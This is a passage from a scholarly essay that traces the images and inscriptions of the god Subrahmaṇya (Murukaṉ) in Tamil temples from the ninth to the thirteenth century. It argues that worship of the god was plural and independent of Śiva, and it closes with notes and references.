All of the ninth-century figures of Subrahmaṇya (I have found nearly thirty) are stone sculptures; they are almost invariably four-armed, and most are standing figures, quite rigid in form. But what they may lack in iconographic variation they make up for in their widespread geographical distribution, including a relatively large number of images spread through the Kaveri River region, and the diversity of their positioning. Subrahmaṇya continues to appear as a niche figure in the _ś ikhara_ of temples dedicated to Śiva, but he also is found in two cases paired with Gaṇeśa as a type of door guardian at two rock-cut shrines in Pandyanadu in the far south of Tamilnadu, Kunrakkudi (Ramnad district), and Virasikhamani (Tirunelveli district).6 In at least three temples, all located in Tiruchirappalli district—at Malaiyatippatti, Melappaluvur, and Tiruverumbur—there are ninth-century sculptures of Subrahmaṇya as one of the _pariv āra devatā_s, the group of Śiva's attendant deities whose shrines encircled the Śiva _li ṇga_ in the central shrine. At these three temples, Subrahmaṇya is found in the position where he would originally have been placed, to the west or northwest of the central shrine.
It was in the ninth century that inscriptions referring to the worship of Subrahmaṇya first appeared. Of the two such inscriptions that have survived, one indicates the god's role by listing him as one of the eight _pariv āra devatā_s to whom food offerings were made; the other deities are the group of seven mothers ( _m ātṛkā_s), Gaṇeśa, Jyeṣṭhā, Durgā, Caṇḍeśvara, Sūrya, and Yama (Tirupalatturai, Tiruchirappalli district, SII 8.560, 898 c.e.). Apart from the _pariv āra_ images of Subrahmaṇya, we have two ninth-century images that were _m ūlamūrti_s, the central objects of worship, in temples dedicated to this god at Kannanur (Tiruchirappalli district) and at Uttaramerur (Chingleput district). At the Subrahmaṇya temple at Tiruttani (Chingleput district), we also have a ninth-century image of the god, which may not itself be the _m ūlamūrti_ but which provides us with early evidence of the importance of the worship of Subrahmaṇya at this site. A second ninth-century inscription confirms that also at Tiruchchendur (Tirunelveli district), Subrahmaṇya was established in his temple there and received a generous gift from the Pandya king Varaguna to provide for daily and festival offerings (SII 14.16A = EI 21.17, 875 c.e.).
The Tenth Century
In the tenth century, we have more inscriptions referring to Subrahmaṇya—nine, as opposed to two in the preceding century—but the bulk of our evidence for his ritual worship continues to be images rather than inscriptions. Even in subsequent centuries, as the number of extant images produced in the eleventh and twelfth centuries diminishes, they are still more abundant than inscriptional references to Subrahmaṇya worship—until the sudden skyrocketing of such references in the thirteenth century. Meanwhile, back in the tenth century, it is clear that the inscriptions and the images provide us with different kinds of information. For one thing the images and the inscriptions come from different places. Half of the thirty or so images that we have come from the Kaveri River region—Cholanadu—while two-thirds of the inscriptions come from Chingleput district in the north. But neither the images nor the inscriptions of the tenth century provide evidence for the worship of Subrahmaṇya very much south of the Kaveri.7
The inscriptions give us the opportunity to learn something about the people who sponsored Subrahmaṇya worship. Although we have seen an earlier example of royal patronage in a ninth-century inscription from Tiruchchendur recording a gift by the Pandya king, none of the tenth-century inscriptions indicates such royal involvement. Instead donors were local landowners, including Brahmans, chiefs and, in one case, a merchant of Kanchipuram who gave land to support the _ś rībali_ drumming service at Subrahmaṇya's temple in Uttaramerur (SII 3.171, 960 c.e.). Seven of our nine inscriptions suggest that Subrahmaṇya was worshiped in a temple or shrine that was not attached to a Śiva temple. Two of the inscriptions refer to Subrahmaṇya as he "who is pleased to stand on the hill at Tiruttani" (ARE 1905/439 and 1932–33/76); another refers to a Subrahmaṇya temple at Kalakattur, elsewhere in Chingleput district (ARE 1923/117); and several of the inscriptions refer simply to "Subrahmaṇya of our village" as the recipient of offerings and services (at three sites in Chingleput district: Kuram, Uttaramerur, and Vidaiyur). On the other hand, the two remaining inscriptions identify Subrahmaṇya as an auxiliary deity—as one of the eight _pariv āra devatā_s in the Śiva temples at Tirupurambiyam (Thanjavur district, SII 6.21, 995 c.e.) and Erumbur (South Arcot district, ARE 1913/384, ca. 935 c.e.). The second of these inscriptions identifies Subrahmaṇya as one of the _pariv āra devatā_s enshrined in the temple _gopura,_ which had just been built. This is an important reminder of the possibility of multiple ritual meanings of temple structures, with the _gopura_ serving both as a gateway to a Śiva temple and a focus for the worship of other gods—in this case Subrahmaṇya and other _pariv āra_ deities.
Among the tenth-century images of Subrahmaṇya is a relief sculpture, opposite one of Gaṇeśa, at the entrance to a cave temple dedicated to Śiva (Muvaraivenran, Ramnad district; Pattabiramin 1971–75, 1:44 and fig. 119). We also have two examples of Subrahmaṇya as a _pariv āra_ figure and, in what is apparently the earliest depiction of Subrahmaṇya with his peacock vehicle, in a small stone relief panel on the temple wall at Punjai (Thanjavur district), where the eight-armed god is shown in combat against demons (L'Hernault 1978, 173, ph. 215). In the tenth century, we also find the first metal images of Subrahmaṇya, three of which are from Thanjavur district. Two of these processional images preserve the rigid hieratic pose of earlier and contemporary stone sculpture, but the third, from Tiruvidaikkali (L'Hernault 1978, ph. 190; Srinivasan 1963, 171–73 and fig. 106), has the graceful _tribhanga_ stance (with body bent at knee, hip, and neck) and shows Subrahmaṇya's arms in the position of holding a bow and arrow—the earliest such depiction (cf. the eleventh-century example in the following section) and one that resembles the Chola-period bronze images of Tripurāntaka and of Rāma. The tenth century thus marks the beginning of the elaboration of the iconography of Subrahmaṇya as an individual figure, in both stone and bronze, and experimentation with new positions and functions for the god in sculptural and ritual programs.
The Eleventh Century
For the eleventh century, we have only fifteen images of Subrahmaṇya, or half as many as in the preceding century, and only five inscriptions referring to the worship of this god. With the exception of two figures of Subrahmaṇya found in Tirunelveli district,8 all of the images and inscriptions come from the Kaveri River zone or further north. Two of the inscriptions are engraved on the walls of the Subrahmaṇya temple at Uttaramerur in Chingleput district, including one that records the appointment of a Śivabrāhmaṇa and his descendants to serve in the temple (SII 6.336, 1016 c.e.) and one at the Subrahmaṇya temple at nearby Tirupporur, where people of the locality made gifts to provide offerings and lamps for "Subrahmaṇya of our village" (ARE 1933–34/121, 1076 c.e.).
But there is another inscription, from the great temple at Thanjavur, which indicates the interest of a royal figure in the worship of Subrahmaṇya. This inscription records the presentation to the temple of a four-armed bronze figure of Subrahmaṇya by the Chola ruler Rajaraja I (SII 2.49, 1014 c.e.). It is noteworthy that the king, in providing for his royal temple, deemed it necessary to have a processional image of this deity. But we must acknowledge that Subrahmaṇya was far less important in this context than his older brother, Gaṇeśa, who was represented in no fewer than ten of the sixty-six bronze images donated to the temple by Rajaraja, his queens, and ministers (SII 2.84, etc.; see Dehejia 2002, 83–85 and 140–43). It was not until the seventeenth century, when the Thanjavur Nayakas constructed the beautiful Subrahmaṇya shrine to the northwest of the central shrine, that an important place was established for Subrahmaṇya at the Thanjavur temple (L'Hernault 2002, 31).
Although the bronze image of Subrahmaṇya donated by Rajaraja has not survived, we do have two other eleventh-century bronzes. Both are quite large (almost a meter in height) and have been admired for their artistic merits. Each exhibits, as well, novel features in terms of the iconography of Subrahmaṇya. A bronze image from the Chola capital, Gangaikondacholapuram, shows the god armed not only with his dagger-like _ś akti_ but also with sword and shield; in addition he bears his emblem, the rooster (Sivaramamurti 1963, fig. 25b; L'Hernault 1978, ph. 44). The image of Subrahmaṇya unearthed at Tiruvengadu, illustrated on the following page, is one of the earliest representations in either stone or metal of the deity flanked by his two consorts, Vaḷḷi and Devasenā (Thomas 1986, 80–87; L'Hernault 1978, ph. 191). Today this grouping of three figures constitutes the standard form of Subrahmaṇya as processional image, but Chola-period examples of such bronzes are not very common. Another eleventh-century appearance of Subrahmaṇya in the company of his two consorts is in a stone relief panel on the outer face of the _gopura_ of Rajaraja's temple in Thanjavur, on the northern side of the entrance. Here at Thanjavur we do not find a figure of Gaṇeśa on the other side of the entrance to the temple paired with Subrahmaṇya, as he is in several of the early rock-cut temples we have considered. But elsewhere, at Brahmadesam in South Arcot district, Śiva's two sons flank the entrance to an eleventh-century structural temple dedicated to Śiva (Balasubrahmanyam 1975, 150), in a pattern that was to become extremely common in subsequent times (L'Hernault 1978, 157). Finally the eleventh century produced the earliest images in which Subrahmaṇya is shown bearing a staff; this attribute, on the one hand, evokes the depiction in Caṇkam literature of Murukaṉ armed with the _v ēl_ and, on the other, anticipates images of the fifteenth century onward in which Subrahmaṇya is portrayed as an ascetic. An eleventh-century stone _pariv āra_ figure from Tiruvaiyaru (Thanjavur district) depicts the staff among Subrahmaṇya's several weapons, as the god stands in a graceful _tribhanga_ pose in front of his peacock (L'Hernault 1978, 159, ph. 189).
Subrahmaṇya with consorts Vaḷḷi and Devasenā. Early eleventh-century bronze sculptures from Tiruvengadu. Courtesy Rajaraja Museum and Art Gallery, Thanjavur. Photograph courtesy of the American Institute of Indian Studies.
The Twelfth Century
We continue to be struck by the absence of images or inscriptions from southern Tamilnadu in the twelfth century, but for the first time we find evidence for the worship of Subrahmaṇya in western Tamilnadu in the form of a stone image from Kolar district and inscriptions from Coimbatore and Salem districts. We have twelfth-century inscriptions from eleven temples, most of which are in South Arcot district, although there are also several inscriptions from the Subrahmaṇya temple at Tirupporur in Chingleput district. Of the nineteen temples that yield twelfth-century images, the largest number (eight) are located in Thanjavur district. There are five twelfth-century bronzes, of which four come from Thanjavur district. Two of the bronzes (from the towns of Tiruvidaikkali and Nagapattinam) show Subrahmaṇya in the company of his two consorts, and two (from Tiruvidaimarudur in Thanjavur district and Melakkadambur in South Arcot district) portray Subrahmaṇya as a child, in the latter case as a dancing child. Among the stone sculptures of the twelfth century, we see for the first time a six-headed Subrahmaṇya, for example, at Tiruvanaikka (Tiruchirappalli district) and Darasuram (Thanjavur district). Also at Darasuram, in a temple built by the Chola king Rajaraja II in the second half of the twelfth century, figures of Subrahmaṇya appear on the outer face of the _gopura_ and in a number of narrative reliefs on pillars (L'Hernault 1978, 50, 139, 164, 173–74; L'Hernault, Srinivasan, and Dumarçay 1987, 93–95, 117–22).
In the inscriptions of the twelfth century, we see more and more references to the setting up of images of Subrahmaṇya, as well as to his ritual worship. The inscriptions also provide us with a glimpse of the relationship between Śiva temples and their associated Subrahmaṇya shrines. There is, for example, the royal order engraved at Singarattoppu near Chidambaram (South Arcot district; ARE 1913/262, 1180 c.e.) declaring that the lands formerly possessed by Subrahmaṇya at the Śiva temple of this village should henceforth be considered as the property of Lord Śiva. This inscription indicates that the god Subrahmaṇya, even as an auxiliary deity, could be a property owner in his own right and, although in this case his autonomy was being undermined, that he was clearly more than a mere adjunct to the god housed at the center of the temple complex.9 Perhaps the distinction between "shrines" and "temples" dedicated to Subrahmaṇya (or other deities) is not very meaningful in the context of twelfth-century Tamilnadu. The Tamil inscriptions use the single term _kōyil_ for both "shrine" and "temple" or use no term at all, as, for example, in the numerous references to the "Subrahmaṇya of our village," which suggest that the significant point was the god's presence rather than his occupation of a certain sort of structure placed within a particular pattern. Certainly the inscriptions indicate that the status of a god vis-à-vis other deities in his locale and the relationships between shrines and temples—relationships of domination, integration, and displacement—were fluid, various, and subject to modification.
The Thirteenth Century
That there were a variety of possible outcomes of the processes of negotiation between shrines and temples is clear from the inscriptions of the thirteenth century. Here we find indications that in some cases Subrahmaṇya shrines in Śiva temples were being refurbished and enlarged, while the Śiva temple itself was neglected (L'Hernault 1978, 191; ARE 1928–29/441–43; ARE 1925/269). Meanwhile the numerous inscriptional references to Subrahmaṇya worship dating from the thirteenth century provide abundant evidence of the existence of temples exclusively dedicated to Subrahmaṇya. Of the twenty Subrahmaṇya temples attested by pre-sixteenth-century inscriptions, twelve first come into view in the thirteenth century.10 This is not to say that these temples did not exist in an earlier era (perhaps independently, perhaps as one of a group of shrines, perhaps as shrines associated with Śiva temples), but the appearance of these inscriptions in the thirteenth century indicates, on the one hand, the construction of new buildings _as_ Subrahmaṇya temples and, on the other, an increasing flow of gifts to support the worship of this deity in temples of his own. Another aspect of the position of the Subrahmaṇya temple that emerges in thirteenth-century inscriptions are the indications that they, like Śiva temples, were managed by priests known as Śivabrāhmaṇas. Already in the eleventh century, we have seen that Śivabrāhmaṇas were appointed to carry out worship in the Subrahmaṇya temple of Uttaramerur, but now we find these figures serving as temple authorities at three other Subrahmaṇya temples—two in Chingleput district (Tirupporur and Saluvankuppam) and one in Ramnad district (Enjar).
Rather surprisingly the thirteenth century marks virtually the first moment that we find inscriptions referring to Subrahmaṇya worship from the southern part of Tamilnadu. With the exception of a single inscription of the late ninth century from Tiruchchendur in Tirunelveli district, the inscriptions of Ramnad, Madurai, Tirunelveli, and Kanyakumari districts are utterly silent about Subrahmaṇya until this time. Even images of this deity provide scant evidence for his presence in the far south after the ninth century (again, with the exception of two images of the eleventh century from Tirunelveli district). But in the thirteenth century, inscriptions in the far south, particularly in Ramnad district, suggest that Subrahmaṇya was the object of considerable attention. Among those involved in sponsoring his worship was Vira Pandya, ruling from his capital in Madurai, who made a gift of land to provide for services and food offerings in the temple of Subrahmaṇya at Palani (Madurai district, SII 17.402, 1268 c.e.).
The Pandyas not only were active as temple patrons in their traditional home territory, but also sponsored religious activities and military adventures further north. As Chola rule disintegrated in the mid-thirteenth century, a new breed of ruler was emerging, one for whom temple patronage was a means of establishing political legitimacy. The kings of the Pandya and Hoysala dynasties and the Kadavarayar, Vanakovaraiyar, and Sambuvarayar chiefs—along with the fourteenth-century princes of Vijayanagara—made generous gifts at temples throughout the Tamil country, and a number of these gifts had Subrahmaṇya as the beneficiary. For example the Kadavarayar chief Kopperuncinka gave jewels and ornaments to Subrahmaṇya at Tiruvamattur in South Arcot district (SII 12.181) and presented a golden image of Subrahmaṇya, together with his two consorts and the peacock, at the great temple of Tiruvannamalai (North Arcot district; EI 27.18).11
Nonetheless the majority of Subrahmaṇya's patrons in the thirteenth century were not rulers or nobles but more ordinary folk—including several temple women, a group of weavers, and a merchant—and in many cases they commissioned images of the god. Twenty-two of the fifty-five thirteenth-century inscriptions relating to Subrahmaṇya worship contain references to the setting up of his image, although few of the images themselves have survived from this era. Two inscriptions specify the location of these images at the entrance or gateway to the temple: at Tirupapuliyur (South Arcot district), a man from the Pandya country made an endowment for the worship of the image of Subrahmaṇya he had set up in the temple _gopura_ (ARE 1953–54/301, 1286 c.e.); and at Tirukkalukkunram (Chingleput district), a woman arranged for the installation of images of Gaṇeśa and Subrahmaṇya at the base of the walls framing the doorway to the temple (ARE 1932–33/143, 1223 c.e.).
Half of the six stone and bronze images that have survived from the thirteenth century show Subrahmaṇya bearing a bow, and he is often shown with the peacock in this era, as in the illustration on the facing page. One stone image of considerable significance is found at the Subrahmaṇya temple at Tirupporur (Chingleput district), which shows the god seated in the posture of a yogi on the back of his peacock, in the act of instructing the sage Agastya. Various interpretations are possible; Subrahmaṇya may be teaching him the Tamil language or imparting to him the meaning of the sacred syllable _OM_ (L'Hernault 1978, 118, ph. 87). If this is indeed a thirteenth-century image, it is a very early example of the depiction of Subrahmaṇya as guru, an image more characteristic of later times, particularly after the fifteenth century.12 Such images, as well as the later images of Subrahmaṇya as the ascetic found especially in the sixteenth century and onward—two-armed and bearing a staff, and often identified as the god of Palani—are today understood as representing Subrahmaṇya's role as the source of Tamil literature, his embodiment of the truths of Tamil Śaiva Siddhānta philosophy, and his connection with the Tamil _siddha_ s, the mystics associated with Palani and with the more recently built Murukaṉ temples of Coimbatore district (Clothey 1978, 80, 86, 95–99, 228n7, 228n7; L'Hernault 1978, 119–27).
Conclusion
In these manifestations of the last several centuries, the "Tamilness" of Murukaṉ/Subrahmaṇya seems to be of an almost modern character, rather than reflecting his archaic persona or the modes of worship depicted in the Caṇkam literature. Is this discontinuity the consequence of the god's incorporation into the Śaiva pantheon in early medieval times, of his becoming "Sanskritized" and losing his earlier identity? The survey of the material evidence undertaken in this essay shows that even at the very beginning of the medieval period, in the seventh and eighth centuries, Subrahmaṇya was not shown with the attributes and associations that we know from the Caṇkam literature: his consort Vaḷḷi, his weapon the _v ēl,_ and his characteristic exploits, such as the battle with the demon, are absent from the earliest representations.13 Nor do the early images and shrines very often appear at sites associated with Murukaṉ's archaic Tamil mythos, such as the region around Madurai, which are evoked in legends linking Murukaṉ with the Tamil Caṇkam and the royal Pandya dynasty and praised in the poems of _Parip āṭal_ as Murukaṉ's abode (see Zvelebil 1991, 20–23, 28). Throughout the whole of the period that I have surveyed, Subrahmaṇya is far better represented in images and inscriptions from the northern part of Tamilnadu than in the far south. If the archaic Murukaṉ known from Tamil literature had vanished by the seventh century, is this because he had already been incorporated into Brahmanic Hinduism and subsumed within the pantheon of the great god Śiva by the time of the earliest images and inscriptions?14
Subrahmaṇya with peacock. Thirteenth-century bronze sculpture from Sirkali, now at the Thanjavur Royal Museum. Courtesy Rajaraja Museum and Art Gallery, Thanjavur. Photograph courtesy of the American Institute of Indian Studies.
Such a scenario is not sustained by the evidence surveyed in this essay, which points instead to the creation of ritual settings where devotees related directly to Subrahmaṇya rather than honoring him as an adjunct to their worship of Śiva. The earliest material evidence of Subrahmaṇya worship in the Tamil country is found in the context of a plurality of deities—in rock-cut shrines that preserve a ritual setting in which Subrahmaṇya coexisted with Śiva, with Viṣṇu, with Durgā, and with other gods. As increasing numbers of structural temples were built from the ninth century onward, Subrahmaṇya was installed in a range of locations as a niche figure, _pariv āra devatā,_ _gopura_ figure, processional image, door guardian, and object of worship in shrines and temples dedicated to him. This variety of placement schemes points toward a context in which worshipers and temple patrons who sponsored the installation of images of Subrahmaṇya valued the multiplicity of distinct divine manifestations within the space of the temple. This seems to have sometimes been the case even while the temple priests' ritual attentions may have been focused on a god in the temple's central sanctum other than Subrahmaṇya, who was most often Śiva in the contexts where Subrahmaṇya was worshiped. If the Śaiva priests' concerns are reflected in the medieval Sanskrit texts known as the Āgamas, which outline both the architectural/iconographic and ritual arrangements that structured a worship space with Śiva as its heart and whole reason for being, the inscriptions and images found within the medieval temple as well as the proliferation and variety of images testify to a different sort of ritual space and theological sensibility created and experienced by nonpriestly worshipers (Brunner 1990, 20–21; Goodall et al. 2006, 110–12).15
For such worshipers Subrahmaṇya as a niche figure, a _pariv āra devatā,_ a _gopura_ figure, a processional image, or a door guardian might be as worthy of worship as Subrahmaṇya in his own shrine or temple, regardless of whether this image was intended by its sponsor to be an object of special devotion or was simply a part of a greater (Śiva-centered) iconographic program. That ordinary devotees had the power to alter the use of temple space, and even restructure that space, in ways unforeseen by earlier builders and patrons is strikingly illustrated at Tiruvannamalai, where, in an outer enclosure of the temple compound, a pillar bearing a sculpted image of Subrahmaṇya in a _ma ṇḍapa_ (pavilion) built for the goddess Naṉampāḷ has become a cult site with a major shrine built around it, dwarfing the goddess's _ma ṇḍapa_ itself.16 In this case we cannot really speak of a redefinition of the sacred space so that worshipers are now oriented toward a new "central" deity, since the Lord of Tiruvannamalai remains Śiva, but in other instances devotees' ritual attentions and sponsorship of images and buildings did indeed result in a recentering of the temple. At the Śiva temples in Pollachi in Coimbatore district and in Tiruvidaikali in Thanjavur district, we find inscriptional evidence as early as the thirteenth century that attention was being shifted away from Śiva and toward Subrahmaṇya as the main focus of worship (ARE 1928–29/441–43; ARE 1925/269). Elsewhere at Kunrakkudi just north of Madurai, there is an eighth-century rock-cut temple for Śiva at the base of the hill, which was still a focus for worship in the sixteenth century, while the earliest evidence for the existence of a Subrahmaṇya temple at the hill's peak appears in the fifteenth century. Since that time, however, Śiva has been entirely eclipsed by his popular son on the hill above, and today not one of the pilgrims who throng the stairs climbing up to Subrahmaṇya's temple stops to worship Śiva (Orr 2008). At Tiruchengodu in Salem district, on the other hand, where Śiva and Subrahmaṇya also share a hill, they coexist within the same temple compound at the top of the hill with their temples nestled side by side facing in opposite directions. Although the temples themselves were constructed no earlier than the sixteenth century, pilgrims since at least the tenth century have mounted the hill to pay their respects to both gods (Orr 2008).
The art historical and inscriptional evidence allows us to appreciate the variety of ways in which devotees have "voted with their feet" within the sacred space of the temple—halting (or not) to offer ritual worship to deities "central" or "subsidiary"—and to recognize how these devotees have made space for new objects of worship or new ritual activities. Taking these dynamics into account makes it necessary to rethink a narrative in which gods rise and fall or arrange themselves in hierarchical formations and to reconsider the notion that sectarian formulations produce ritual consequences. It seems, in fact, that the apparent submergence of Murukaṉ in the seventh century and his resurgence in the fourteenth and fifteenth centuries, in which the god seemed first to submit to and later to break free of Śiva's dominance, was more a literary event than anything else. The collection of Tamil hymns dedicated to Śiva known as _T ēvāram,_ composed in the seventh to ninth centuries, depict Murukaṉ in an auxiliary role. These hymns mention Murukaṉ about forty times but almost exclusively as the son of Śiva (Zvelebil 1991, 88). In this context Murukaṉ is clearly subordinate to Śiva. But does the imaging of Śiva and Murukaṉ and their relationship in _T ēvāram_ reflect ritual practices, in terms of the dominance of one or the other of these deities, or the relationships among communities or within sites dedicated to the worship of these gods? In fact the art historical and inscriptional evidence attests to the ongoing worship of Murukaṉ/Subrahmaṇya as a god independent of Śiva throughout medieval times in various temple contexts, including Śiva temples. By the fourteenth century—a century before Aruṇakirināta's encounter with Murukaṉ (at a Śiva temple) and the so-called revival of this god's worship—there were at least twenty temples dedicated to Subrahmaṇya spread throughout the Tamil landscape.
If the physical fabric of temples, the placement of images in these temples, and the uses of temple spaces can be understood as expressing something about or as informing ritual, then we must acknowledge that there was in fact a dynamic and pluralistic approach to arrangements for and practices of worship in medieval Tamilnadu. Perhaps it is not so surprising, after all, that the sectarian formulations of texts, which stressed one god's ascendency over another, were fairly remote from the devotional attitudes and ritual behaviors of the worshipers whose experiences and activities are attested in the material record. If we take this evidence seriously, we may arrive at a fuller comprehension of the complexity, variety, and fluidity of Subrahmaṇya's significance and his relationship with other gods and with his worshipers. This can only enrich our understanding of "the many faces of Murukaṉ," as Clothey puts it (1978), and the place of this god among his worshipers in the ritual activities and ritual spaces of the medieval South Indian temple.
**Notes**
I am grateful to the editors of this volume, and to a number of others who have provided me with encouragement and assistance, including especially Michelle Bakker, Crispin Branfoot, Padma Kaimal, Lisa Nadine Owen, Tanisha Ramachandran, Charlotte Schmid, Davesh Soneji, and S. Swaminathan. As always I must offer my thanks to the Office of the Director of Epigraphy, Archaeological Survey of India, in Mysore, headed during my visits in recent years by Dr. M. D. Sampath, Dr. K. M. Bhadri, and Dr. T.S. Ravishankar. And it is with great pleasure that I acknowledge my debt to Fred Clothey, whose work has not only inspired this paper but a great deal more.
1. The definitions of district boundaries that I have adopted are based on the usages of published editions of inscriptions, often reflecting pre-Independence political divisions.
2. Charlotte Schmid (personal communication) underscores the special significance that the Somāskanda icon has for the Pallava lineage at the early eighth-century Kailasanātha temple in Kanchipuram, built by Rajasimha I, with Skanda/Subrahmaṇya representing the _yuvar āja_ (crown prince) of the Pallava lineage, Rajasimha himself. See Lockwood (1974) for an early statement of this thesis. L'Hernault treats in detail the variations and distribution of the Somāskanda image in medieval Tamilnadu (1978, 49–92, carte II).
3. L'Hernault (1978, 189–90) and Zvelebil (1991, 77) further suggest that the Anaimalai image is not even a depiction of Subrahmaṇya and his consort but represents a royal couple.
4. Subrahmaṇya also appears at Tirupparankunram in a relief sculpture with one of his consorts seated at his side (Pattabiramin 1971–75, vol. 1, plate 159), but this seems to be of somewhat later date than the image sculpted on the back wall of the main temple (cf. L'Hernault 1978, 134n).
5. I am indebted to Valérie Gillet, Padma Kaimal, and Charlotte Schmid for these identifications as well as other information and insights relating to the Kailasanātha temple.
6. It seems as though in the eighth to tenth centuries, there were a number of variations and experimentations with respect to this aspect of temple layout (Pattabiramin 1971–75, 1:26, 68; Soundara Rajan 1998, 43–46; Goodall et al. 2005, 58, 186), although in later times the Gaṇeśa-Subrahmaṇya pair at the entrance to temples comes to be virtually ubiquitous in Tamilnadu.
7. Among tenth-century images, the most southerly are four from Pudukkottai and one from Ramnad district. There are no tenth-century inscriptions relating to Subrahmaṇya worship south of Tiruchirappalli on the Kaveri River.
8. The two Subrahmaṇya images from Tirunelveli district are found in the villages of Attur and Pasuvandanai. At Pasuvandanai the Śiva temple that bears an image of Subrahmaṇya on its _ś ikhara_ was formerly paired with a Subrahmaṇya temple, which no longer survives (Balasubrahmanyam 1975, 190).
9. Subrahmaṇya's separate ownership of land and relative independence from the main deity of the temple are confirmed by at least one other twelfth-century inscription (SII 17.205, 1166 c.e.), which records the donation of land by a chief of the Sambuvaraya clan to Subrahmaṇya in the temple at Tiruvakkarai (in South Arcot district).
10. Before the thirteenth century, four Subrahmaṇya temples are mentioned in inscriptions of the ninth or tenth century—Kalakattur, Uttaramerur, and Tiruttani, all in Chingleput district, and Tiruchchendur in Tirunelveli district—and one, Tirupporur in Chingleput district, in the eleventh century.
11. This inscription from Tiruvannamalai is the only one from the early medieval period where the god is named "Murukaṉ."
12. Among these later images are a bronze from the Tirupporur temple, depicting the young Subrahmaṇya (with Brahmā's attributes) instructing his father (L'Hernault 1978, 118, ph. 84), and a stone relief sculpture on a pillar in the Viṣṇu temple at Palani (Madurai district), showing a seated Subrahmaṇya, bearing _vajra_ and _ś akti,_ expounding the significance of _OM_ to a standing sage with flowing _ja ṭā_s (L'Hernault 1978, 118, ph. 86).
13. Zvelebil (1991, 78) suggests that Murukaṉ's earliest worship in the Tamil country may have been aniconic; thus the image in its entirety would have been an import from the north and would account for its lack of Tamil features.
14. Clothey, in his discussion of the depiction of Murukaṉ in _Parip āṭal_ and _Tirumuruk āṟṟupaṭai_ (1978, 62–70) points to the fact that even in these texts Sanskritic elements had already been assimilated into the god's image and that he had developed into a less local and more cosmopolitan—more "universalized"—deity. Zvelebil (1991, 86–87) similarly argues that already in _Parip āṭal_ and _Tirumuruk āṟṟupaṭai,_ Murukaṉ is a composite figure, with the Tamil imaging of the god as a hunter combining with the Sanskritic representation of him as a hero.
15. In the case of Subrahmaṇya, we find variety and deviation from textual norms not only in the placement of images but also in the continuing development of new forms of the god. While the iconography of the Somāskanda image remained relatively fixed after the ninth century, experimentations and variations in the iconography of Subrahmaṇya as an individual figure begin precisely at that moment and continue to evolve from the tenth century onward: he appears with his elephant and later with his peacock; with one, two, or no consorts; with two arms, four arms, or twelve arms; as a child; and as an ascetic.
16. Also at Tiruvannamalai devotees raised funds to erect shrines in front of the relief figures of Subrahmaṇya on two of the eastern _gopura_ s (the twelfth-century Kiligopura and the fourteenth-century Vallalagopura) (L'Hernault, Pichard, and Deloche 1990, 65, 67, 74).
References
_Inscriptions_
ARE | _Annual Reports on Indian Epigraphy._ 1905– . Delhi: Manager of Publications. Transcripts of the inscriptions abstracted in the ARE were graciously made available to me at the Office of the Chief Epigraphist, Archaeological Survey of India, Mysore.
---|---
EI | _Epigraphia Indica._ 1892– . Calcutta/Delhi: Director General, Archaeological Survey of India.
SII | _South Indian Inscriptions._ 1992– . Volumes 2–26. Delhi: Director-General, Archaeological Survey of India.
_Other Sources_
Balasubrahmanyam, S. R. 1975. _Middle Chola Temples._ New Delhi: Thomson.
———. 1979. _Later Chola Temples._ New Delhi: Mudgala Trust.
Branfoot, Crispin. 2003. "The Madurai Nayakas and the Skanda Temple at Tirupparankunram." _Ars Orientalis_ 33: 147–79.
Brunner, Hélène. 1990. "L'image divine dans le culte agamique de Siva: Rapport entre l'image mentale et le support concret du culte." In _L'Image divine: Culte et médiation dans l'hindouisme,_ edited by André Padoux, 9–29. Paris: Centre national de la recherche scientifique.
Clothey, Fred W. 1978. _The Many Faces of Murukan: The History and Meaning of a South Indian God._ The Hague: Mouton.
———. 1983. _Rhythm and Intent: Ritual Studies from South India._ Madras: Blackie.
———. 1984. _Quiescence and Passion: The Vision of Arunakiri, Tamil Mystic._ Madurai: Madurai Kamaraj University.
Dehejia, Vidya. 2002. _The Sensuous and the Sacred: Chola Bronzes from South India._ New York: American Federation of Arts.
Devakunjari, D. 1979. _Madurai through the Ages: From the Earliest Times to 1801 a.d._ Madras: Society for Archaeological, Historical and Epigraphical Research.
Filliozat, Jean. 1973. Introduction to _Un texte de la religion Kaum āra: Le Tirumurukāṟṟupaṭai,_ edited and translated by Jean Filliozat _._ Pondicherry: Institut français d'Indologie.
Goodall, Dominic, N. Rout, R. Sathyanarayanan, S. A. S. Sarma, T. Ganesan, and S. Sambandhasivacarya, eds. 2005. _The Pañc āvaraṇastava of Aghoraśivācārya: A Twelfth-Century South Indian Prescription for the Visualisation of Sadāśiva and His Retinue._ Pondicherry: Institut français de Pondichéry/Ecole française d'extrême-orient.
L'Hernault, Françoise. 1978. _L'Iconographie de Subrahma ṇya au Tamilnad._ Pondicherry: Institute français d'Indologie.
———. 2002. _The Iconography of the B ṛhadīśvara Temple._ Edited by Lalit M. Gujral. New Delhi: Indira Gandhi National Centre for the Arts/Pondicherry: Ecole française d'extrême-orient/New Delhi: Aryan Books International.
L'Hernault, Françoise, with P. R. Srinivasan and Jacques Dumarçay. 1987. _Darasuram: Epigraphical Study, Etude Architecturale, Etude Iconographique._ Paris: Ecole française d'extrême-orient.
L'Hernault, Françoise, Pierre Pichard, and Jean Deloche. 1990. _L'Archéologie du site._ Vol. 2 of _Tiruvannamalai, un lieu saint Śivaïte du sud de l'Inde._ Paris: Ecole française d'extrême-orient.
Lockwood, Michael. 1974. "Pallava Somaskanda." In _Mahabalipuram Studies,_ by Michael Lockwood, Gift Siromoney, and R. Dayanandan, 18–33. Madras: Christian Literary Society.
Nagaswamy, R. 1997. "Art of the Pandyas of South India." _Oriental Art_ 43: 49–60.
Orr, Leslie C. 2008. "Re-imagining, Re-shaping and Re-signifying the Temple in Medieval Tamilnadu." Paper presented at the Association of Asian Studies Annual Meeting, Atlanta.
Pattabiramin, P. Z. 1971–75. _Sanctuaires Rupestres de l'Inde du Sud._ 2 vols. Pondicherry: Institute français d'Indologie.
Richman, Paula. 1997. _Extraordinary Child: Poems from a South Indian Devotional Genre._ Honolulu: University of Hawai'i Press.
Rudner, David West. 1987. "Religious Gifting and Inland Commerce in Seventeenth-Century South India." _Journal of Asian Studies_ 46, no. 2: 361–79.
Sivaramamurti, C. 1963. _South Indian Bronzes._ New Delhi: Lalit Kala Akademi.
Soundara Rajan, K. V. 1998. _Rock-Cut Temple Styles: Early Pandyan Art and the Ellora Shrines._ Mumbai: Somaiya.
Srinivasan, P. R. 1963. _Bronzes of South India._ Bulletin of the Madras Government Museum, n.s., general section, vol. 8. Madras: India Press for the Controller of Stationery and Printing.
